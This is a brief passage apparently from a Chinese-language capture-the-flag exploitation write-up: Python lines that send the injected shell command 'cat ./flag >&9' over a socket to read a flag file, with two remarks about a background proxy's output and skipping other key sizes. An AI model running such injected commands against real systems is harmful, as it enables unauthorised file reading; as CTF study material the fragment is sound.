recv_data=recv_no(u32(client_fd),0x50)
print("recv_data",recv_data)
# # system ("cat flag")
send(u32(server_fd),15,b"cat ./flag >&9\x00")
recv_data=recv(u32(client_fd),0x50)
print("recv_data",recv_data)
这些sh:是因为我在后台运行proxy,所以它的输出直接出现在终端上
由于我这里生成公匙比较麻烦,所以就没过多去尝试其他可能的size了